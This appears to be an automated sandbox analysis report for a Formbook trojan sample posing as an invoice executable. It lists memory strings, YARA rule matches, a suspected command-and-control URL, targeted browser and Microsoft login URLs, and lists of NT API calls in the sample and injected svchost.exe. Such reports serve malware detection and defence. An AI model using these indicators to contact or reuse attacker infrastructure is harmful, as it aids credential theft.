Source: IEFVDUdSaLLhw.exe, 0000000D.00000002.4584961050.000000000678E000.00000004.80000000.00040000.00000000.sdmp, IEFVDUdSaLLhw.exe, 0000000D.00000002.4584961050.000000000596C000.00000004.80000000.00040000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.000000000537E000.00000004.10000000.00040000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.000000000455C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer
Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000002.2200567149.00000000034D4000.00000004.00000800.00020000.00000000.sdmp, dpqsbGoWdXlp.exe, 0000000C.00000002.2342313446.0000000002A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: z1SupplyInvoiceCM60916_Doc.exe, dpqsbGoWdXlp.exe.0.dr	String found in binary or memory: http://tempuri.org/kursovaSQLDataSet.xsd
Source: IEFVDUdSaLLhw.exe, 0000000D.00000002.4587208123.0000000007422000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.meliorahomes.net
Source: IEFVDUdSaLLhw.exe, 0000000D.00000002.4587208123.0000000007422000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.meliorahomes.net/x0tl/
Source: svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 0000000F.00000002.4575924978.0000000002E28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: svchost.exe, 0000000F.00000003.2474247206.0000000007E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: svchost.exe, 0000000F.00000002.4575924978.0000000002E28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2)
Source: svchost.exe, 0000000F.00000002.4575924978.0000000002E28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: svchost.exe, 0000000F.00000002.4576101879.0000000002E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: svchost.exe, 0000000F.00000002.4575924978.0000000002E28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: svchost.exe, 0000000F.00000002.4576101879.0000000002E4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 11.2.z1SupplyInvoiceCM60916_Doc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.z1SupplyInvoiceCM60916_Doc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2299844236.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4574137574.00000000007B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4577917548.0000000003080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2351474935.0000000005710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4578048891.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2302119508.00000000024B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4578178574.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 11.2.z1SupplyInvoiceCM60916_Doc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 11.2.z1SupplyInvoiceCM60916_Doc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2299844236.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000F.00000002.4574137574.00000000007B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000F.00000002.4577917548.0000000003080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2351474935.0000000005710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000F.00000002.4578048891.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2302119508.00000000024B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.4578178574.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample	Static PE information: Filename: z1SupplyInvoiceCM60916_Doc.exe
Source: initial sample	Static PE information: Filename: z1SupplyInvoiceCM60916_Doc.exe

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0042C633 NtClose,	11_2_0042C633
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742B60 NtClose,LdrInitializeThunk,	11_2_01742B60
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742DF0 NtQuerySystemInformation,LdrInitializeThunk,	11_2_01742DF0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742C70 NtFreeVirtualMemory,LdrInitializeThunk,	11_2_01742C70
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017435C0 NtCreateMutant,LdrInitializeThunk,	11_2_017435C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01744340 NtSetContextThread,	11_2_01744340
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01744650 NtSuspendThread,	11_2_01744650
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742BF0 NtAllocateVirtualMemory,	11_2_01742BF0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742BE0 NtQueryValueKey,	11_2_01742BE0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742BA0 NtEnumerateValueKey,	11_2_01742BA0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742B80 NtQueryInformationFile,	11_2_01742B80
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742AF0 NtWriteFile,	11_2_01742AF0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742AD0 NtReadFile,	11_2_01742AD0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742AB0 NtWaitForSingleObject,	11_2_01742AB0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742D30 NtUnmapViewOfSection,	11_2_01742D30
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742D10 NtMapViewOfSection,	11_2_01742D10
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742D00 NtSetInformationFile,	11_2_01742D00
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742DD0 NtDelayExecution,	11_2_01742DD0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742DB0 NtEnumerateKey,	11_2_01742DB0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742C60 NtCreateKey,	11_2_01742C60
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742C00 NtQueryInformationProcess,	11_2_01742C00
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742CF0 NtOpenProcess,	11_2_01742CF0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742CC0 NtQueryVirtualMemory,	11_2_01742CC0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742CA0 NtQueryInformationToken,	11_2_01742CA0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742F60 NtCreateProcessEx,	11_2_01742F60
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742F30 NtCreateSection,	11_2_01742F30
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742FE0 NtCreateFile,	11_2_01742FE0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742FB0 NtResumeThread,	11_2_01742FB0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742FA0 NtQuerySection,	11_2_01742FA0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742F90 NtProtectVirtualMemory,	11_2_01742F90
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742E30 NtWriteVirtualMemory,	11_2_01742E30
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742EE0 NtQueueApcThread,	11_2_01742EE0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742EA0 NtAdjustPrivilegesToken,	11_2_01742EA0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01742E80 NtReadVirtualMemory,	11_2_01742E80
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01743010 NtOpenDirectoryObject,	11_2_01743010
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01743090 NtSetValueKey,	11_2_01743090
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017439B0 NtGetContextThread,	11_2_017439B0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01743D70 NtOpenThread,	11_2_01743D70
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01743D10 NtOpenProcessToken,	11_2_01743D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03574340 NtSetContextThread,LdrInitializeThunk,	15_2_03574340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03574650 NtSuspendThread,LdrInitializeThunk,	15_2_03574650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572B60 NtClose,LdrInitializeThunk,	15_2_03572B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	15_2_03572BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572BE0 NtQueryValueKey,LdrInitializeThunk,	15_2_03572BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572BA0 NtEnumerateValueKey,LdrInitializeThunk,	15_2_03572BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572AD0 NtReadFile,LdrInitializeThunk,	15_2_03572AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572AF0 NtWriteFile,LdrInitializeThunk,	15_2_03572AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572F30 NtCreateSection,LdrInitializeThunk,	15_2_03572F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572FE0 NtCreateFile,LdrInitializeThunk,	15_2_03572FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572FB0 NtResumeThread,LdrInitializeThunk,	15_2_03572FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572EE0 NtQueueApcThread,LdrInitializeThunk,	15_2_03572EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572E80 NtReadVirtualMemory,LdrInitializeThunk,	15_2_03572E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572D10 NtMapViewOfSection,LdrInitializeThunk,	15_2_03572D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572D30 NtUnmapViewOfSection,LdrInitializeThunk,	15_2_03572D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572DD0 NtDelayExecution,LdrInitializeThunk,	15_2_03572DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572DF0 NtQuerySystemInformation,LdrInitializeThunk,	15_2_03572DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572C70 NtFreeVirtualMemory,LdrInitializeThunk,	15_2_03572C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572C60 NtCreateKey,LdrInitializeThunk,	15_2_03572C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572CA0 NtQueryInformationToken,LdrInitializeThunk,	15_2_03572CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035735C0 NtCreateMutant,LdrInitializeThunk,	15_2_035735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035739B0 NtGetContextThread,LdrInitializeThunk,	15_2_035739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572B80 NtQueryInformationFile,	15_2_03572B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572AB0 NtWaitForSingleObject,	15_2_03572AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572F60 NtCreateProcessEx,	15_2_03572F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572F90 NtProtectVirtualMemory,	15_2_03572F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572FA0 NtQuerySection,	15_2_03572FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572E30 NtWriteVirtualMemory,	15_2_03572E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572EA0 NtAdjustPrivilegesToken,	15_2_03572EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572D00 NtSetInformationFile,	15_2_03572D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572DB0 NtEnumerateKey,	15_2_03572DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572C00 NtQueryInformationProcess,	15_2_03572C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572CC0 NtQueryVirtualMemory,	15_2_03572CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03572CF0 NtOpenProcess,	15_2_03572CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03573010 NtOpenDirectoryObject,	15_2_03573010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03573090 NtSetValueKey,	15_2_03573090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03573D70 NtOpenThread,	15_2_03573D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03573D10 NtOpenProcessToken,	15_2_03573D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007D8E50 NtCreateFile,	15_2_007D8E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007D8FC0 NtReadFile,	15_2_007D8FC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007D90B0 NtDeleteFile,	15_2_007D90B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007D9150 NtClose,	15_2_007D9150
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007D92B0 NtAllocateVirtualMemory,	15_2_007D92B0

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 0_2_016CD5BC	0_2_016CD5BC
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 0_2_05A73E22	0_2_05A73E22
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 0_2_05A73E30	0_2_05A73E30
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_00418623	11_2_00418623
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_00402870	11_2_00402870
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_00410073	11_2_00410073
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_00404874	11_2_00404874
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0040E0F3	11_2_0040E0F3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_00401104	11_2_00401104
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_00401110	11_2_00401110
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_00401250	11_2_00401250
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_00403260	11_2_00403260
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0042EC23	11_2_0042EC23
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_00402540	11_2_00402540
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0040FE4A	11_2_0040FE4A
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0040FE53	11_2_0040FE53
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_004167EE	11_2_004167EE
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_004167F3	11_2_004167F3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01798158	11_2_01798158
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AA118	11_2_017AA118
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01700100	11_2_01700100
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C81CC	11_2_017C81CC
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D01AA	11_2_017D01AA
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C41A2	11_2_017C41A2
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A2000	11_2_017A2000
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CA352	11_2_017CA352
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171E3F0	11_2_0171E3F0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D03E6	11_2_017D03E6
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0274	11_2_017B0274
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017902C0	11_2_017902C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710535	11_2_01710535
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D0591	11_2_017D0591
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C2446	11_2_017C2446
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B4420	11_2_017B4420
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017BE4F6	11_2_017BE4F6
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710770	11_2_01710770
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01734750	11_2_01734750
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170C7C0	11_2_0170C7C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172C6E0	11_2_0172C6E0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01726962	11_2_01726962
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017129A0	11_2_017129A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017DA9A6	11_2_017DA9A6
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171A840	11_2_0171A840
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01712840	11_2_01712840
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0173E8F0	11_2_0173E8F0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016F68B8	11_2_016F68B8
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CAB40	11_2_017CAB40
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C6BD7	11_2_017C6BD7
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170EA80	11_2_0170EA80
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017ACD1F	11_2_017ACD1F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171AD00	11_2_0171AD00
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0170ADE0	11_2_0170ADE0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01728DBF	11_2_01728DBF
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710C00	11_2_01710C00
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01700CF2	11_2_01700CF2
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B0CB5	11_2_017B0CB5
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01784F40	11_2_01784F40
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01730F30	11_2_01730F30
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B2F30	11_2_017B2F30
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01752F28	11_2_01752F28
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171CFE0	11_2_0171CFE0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01702FC8	11_2_01702FC8
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0178EFA0	11_2_0178EFA0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01710E59	11_2_01710E59
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CEE26	11_2_017CEE26
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CEEDB	11_2_017CEEDB
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01722E90	11_2_01722E90
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CCE93	11_2_017CCE93
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017DB16B	11_2_017DB16B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0174516C	11_2_0174516C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FF172	11_2_016FF172
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0171B1B0	11_2_0171B1B0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C70E9	11_2_017C70E9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CF0E0	11_2_017CF0E0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017170C0	11_2_017170C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017BF0CC	11_2_017BF0CC
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016FD34C	11_2_016FD34C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C132D	11_2_017C132D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0175739A	11_2_0175739A
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B12ED	11_2_017B12ED
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172B2C0	11_2_0172B2C0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017152A0	11_2_017152A0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C7571	11_2_017C7571
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017D95C3	11_2_017D95C3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017AD5B0	11_2_017AD5B0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01701460	11_2_01701460
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CF43F	11_2_017CF43F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CF7B0	11_2_017CF7B0
